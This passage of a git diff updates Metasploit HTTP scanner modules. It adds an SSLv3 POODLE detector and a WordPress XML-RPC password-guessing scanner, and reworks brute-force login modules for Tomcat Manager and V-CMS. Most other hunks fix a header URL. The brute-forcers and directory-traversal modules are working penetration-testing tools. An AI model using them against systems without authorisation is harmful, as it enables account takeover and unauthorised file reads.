!(res.body.empty?) + if reject_regexen.any? { |r| res.body =~ r } print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - elsif (res.message =~ /Cannot process the message because the content type/) + elsif res.message =~ /Cannot process the message because the content type/ print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.") res.message =~ /was not the expected type\s\'([^']+)'/ print_status("Set CONTENTTYPE to \"#{$1}\"") return false - elsif (res.code == 404) + elsif res.code == 404 print_status("Server #{wmap_target_host}:#{datastore['RPORT']} returned HTTP 404 for #{datastore['PATH']}. Use a different one.") return false else print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") ## Add Report report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => "SOAPAction: #{v}#{n}", - :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." + host: ip, + proto: 'tcp', + sname: (ssl ? 'https' : 'http'), + port: rport, + type: "SOAPAction: #{v}#{n}", + data: "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." ) if datastore['DISPLAYHTML'] - print_status("The HTML content follows:") + print_status('The HTML content follows:') print_status(res.body + "\r\n") end end end - select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + print_error(e.message) + ensure + Rex.sleep(sleep_time) end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e - vprint_error(e.message) end end + + def sleep_time + datastore['SLEEP'] / 1000.0 + end end diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index 6bc54d1c69..b9deea0f9c 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 1c47c9e90b..3ec0e6bd13 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index 970bea0a69..764a29e452 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 812b5a5700..1ba09fc870 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index 8a75b1e01d..fb132e01e5 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ssl_version.rb b/modules/auxiliary/scanner/http/ssl_version.rb new file mode 100644 index 0000000000..9dbca61872 --- /dev/null +++ b/modules/auxiliary/scanner/http/ssl_version.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'HTTP SSL/TLS Version Detection (POODLE scanner)', + 'Description' => %q{ + Check if an HTTP server supports a given version of SSL/TLS. + + If a web server can successfully establish an SSLv3 session, it is + likely to be vulnerable to the POODLE attack described on + October 14, 2014, as a patch against the attack is unlikely. + }, + 'Author' => 'todb', + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 443, + 'SSLVersion' => 'SSL3' + }, + 'References' => + [ + [ 'URL', 'http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html'], + [ 'OSVDB', '113251'], + [ 'CVE', '2014-3566'] + ], + 'DisclosureDate' => 'Oct 14 2014' + ) + + register_options( + [ + OptEnum.new('SSLVersion', [true, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]) + ] + ) + + end + + # Fingerprint a single host + def run_host(ip) + begin + connect + res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) + fp = http_fingerprint(:response => res) + if fp + vprint_status("#{peer} connected and fingerprinted: #{fp}") + # TODO: Interrogate the connection itself to see what version + # was used. Where that actually lives is eluding me. :/ + if datastore['SSLVersion'] == 'SSL3' + print_good("#{peer} accepts SSLv3") + report_poodle_vuln(ip) + end + end + rescue ::OpenSSL::SSL::SSLError => e + ssl_version = e.message.match(/ state=([^\s]+)/)[1] + vprint_status("#{peer} does not accept #{ssl_version}") + rescue ::Timeout::Error, ::Errno::EPIPE + ensure + disconnect + end + end + + def report_poodle_vuln(ip) + report_vuln( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module #{self.fullname} confirmed SSLv3 is available", + :refs => self.references, + :exploited_at => Time.now.utc + ) + end + +end diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index 4dd71493e3..20a6a414ae 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb index d34f2169d6..1c2f5a2132 100644 --- a/modules/auxiliary/scanner/http/svn_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index b8627ef821..3a388d677a 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb index d4d6410a00..3c141366c7 100644 --- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index d3cd471a5e..a46d2ab2ec 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 53c80f241c..70d9888b49 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index e07eaecc52..e02dd1b369 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 92c6141166..bea8a91f25 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/tomcat' class Metasploit3 < Msf::Auxiliary @@ -56,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('URI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]), + OptString.new('TARGETURI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -70,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin - uri = normalize_uri(datastore['URI']) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', @@ -91,60 +93,46 @@ class Metasploit3 < Msf::Auxiliary return end - each_user_pass { |user, pass| - do_login(user, pass) - } - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def do_login(user='tomcat', pass='tomcat') - vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") - success = false - srvhdr = '?' - uri = normalize_uri(datastore['URI']) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'username' => user, - 'password' => pass - }, 25) - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("http://#{rhost}:#{rport}#{uri} not responding") - return :abort - end - return :abort if (res.code == 404) - srvhdr = res.headers['Server'] - if res.code == 200 - # Could go with res.headers['Server'] =~ /Apache-Coyote/i - # as well but that seems like an element someone's more - # likely to change - success = true if(res.body.scan(/Tomcat/i).size >= 5) - success - end + cred_collection = prepend_db_passwords(cred_collection) - rescue ::Rex::ConnectionError => e - vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}") - return :abort - end + scanner = Metasploit::Framework::LoginScanner::Tomcat.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) - if success - print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Tomcat Application Manager\"", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - return :next_user - else - vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'") - return + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end end end + end diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index 36773307dc..8fccbd5c51 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 50e2844490..41994b6c9e 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index 783fd42106..188088b406 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 12345fec0a..5b65cf02a1 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index f8ecb4781e..1c7b103f57 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,14 +10,15 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'V-CMS Login Utility', 'Description' => %q{ - This module attempts to authenticate to an English-based V-CMS login interface. - It should only work against version v1.1 or older, because these versions do not - have any default protections against bruteforcing. + This module attempts to authenticate to an English-based V-CMS login interface. It + should only work against version v1.1 or older, because these versions do not have + any default protections against bruteforcing. }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE @@ -31,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms2/']) + OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/']) ], self.class) end @@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary def get_sid res = send_request_raw({ 'method' => 'GET', - 'uri' => @uri.path + 'uri' => @uri }) # Get the PHP session ID @@ -52,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary def do_login(user, pass) begin sid = get_sid + if sid.nil? + vprint_error("#{peer} - Failed to get sid") + return :abort + end + res = send_request_cgi({ 'uri' => "#{@uri}process.php", 'method' => 'POST', @@ -62,9 +68,7 @@ class Metasploit3 < Msf::Auxiliary 'sublogin' => '1' } }) - location = res.headers['Location'] - res = send_request_cgi({ 'uri' => location, 'method' => 'GET', @@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary return :skip_user when /Invalid password/ vprint_status("#{peer} - Username found: #{user}") - else /\<a href="process\.php\?logout=1"\>/ + when /\<a href="process\.php\?logout=1"\>/ print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") report_auth_info({ :host => rhost, @@ -107,8 +111,12 @@ class Metasploit3 < Msf::Auxiliary def run @uri = normalize_uri(target_uri.path) - @uri.path << "/" if @uri.path[-1, 1] != "/" + @uri << "/" if @uri[-1, 1] != "/" + super + end + + def run_host(ip) each_user_pass { |user, pass| vprint_status("#{peer} - Trying \"#{user}:#{pass}\"") do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 3bc4f965f5..dac8fa397a 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb index 957e0cb444..4d0484a96a 100644 --- a/modules/auxiliary/scanner/http/vhost_scanner.rb +++ b/modules/auxiliary/scanner/http/vhost_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb index dde952f390..68e1922d5e 100644 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index b603f3d265..600db46d77 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(9084), OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), - OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) + OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index 5d848d4df5..163932d52a 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 05fd43a49d..9e768085ce 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index ccdb659475..74bf30c54b 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index 46229b33d6..42970aac95 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb index 1ef230b02b..4fc1b55c75 100644 --- a/modules/auxiliary/scanner/http/webdav_website_content.rb +++ b/modules/auxiliary/scanner/http/webdav_website_content.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index 247f866696..e24408cba2 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 147950bf1e..95e83e994a 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,8 +13,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Wordpress Brute Force and User Enumeration Utility', - 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility', + 'Name' => 'WordPress Brute Force and User Enumeration Utility', + 'Description' => 'WordPress Authentication Brute Force and User Enumeration Utility', 'Author' => [ 'Alligator Security Team', @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) unless wordpress_and_online? - print_error("#{target_uri} does not seeem to be Wordpress site") + print_error("#{target_uri} does not seem to be WordPress site") return end @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary # Brute force previously found users if not usernames.empty? print_status("#{target_uri} - Brute-forcing previously found accounts...") - passwords = load_password_vars(datastore['PASS_FILE']) + passwords = load_password_vars usernames.each do |user| passwords.each do |pass| do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index e31cd9a7f8..03a86284cc 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb index 00068437ab..dcbb525148 100644 --- a/modules/auxiliary/scanner/http/wordpress_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb new file mode 100644 index 0000000000..99f3705e09 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => ' + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + ', + 'Author' => + [ + 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'] # Weak password + ] + )) + + register_options( + [ + Opt::RPORT(80), + ], self.class) + + deregister_options('BLANK_PASSWORDS') # we don't need this option + end + + def xmlrpc_enabled? + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" + xml << '<methodCall>' + xml << '<methodName>demo.sayHello</methodName>' + xml << '<params>' + xml << '<param></param>' + xml << '</params>' + xml << '</methodCall>' + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'data' => xml + ) + + if res && res.body =~ /<string>Hello!<\/string>/ + return true # xmlrpc is enabled + end + return false + end + + def run_host(ip) + print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") + if xmlrpc_enabled? + vprint_good("XMLRPC enabled, Hello message received!") + else + print_error("XMLRPC is not enabled! Aborting") + return :abort + end + + print_status("#{peer} - Starting XML-RPC login sweep...") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( + host: ip, + port: rport, + uri: wordpress_url_xmlrpc, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb index adbe2edc08..4c6f1bcdfe 100644 --- a/modules/auxiliary/scanner/http/xpath.rb +++ b/modules/auxiliary/scanner/http/xpath.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 9456b5f65f..b75dedcb3f 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('FILEPATH', [false, 'The name of the file to download', 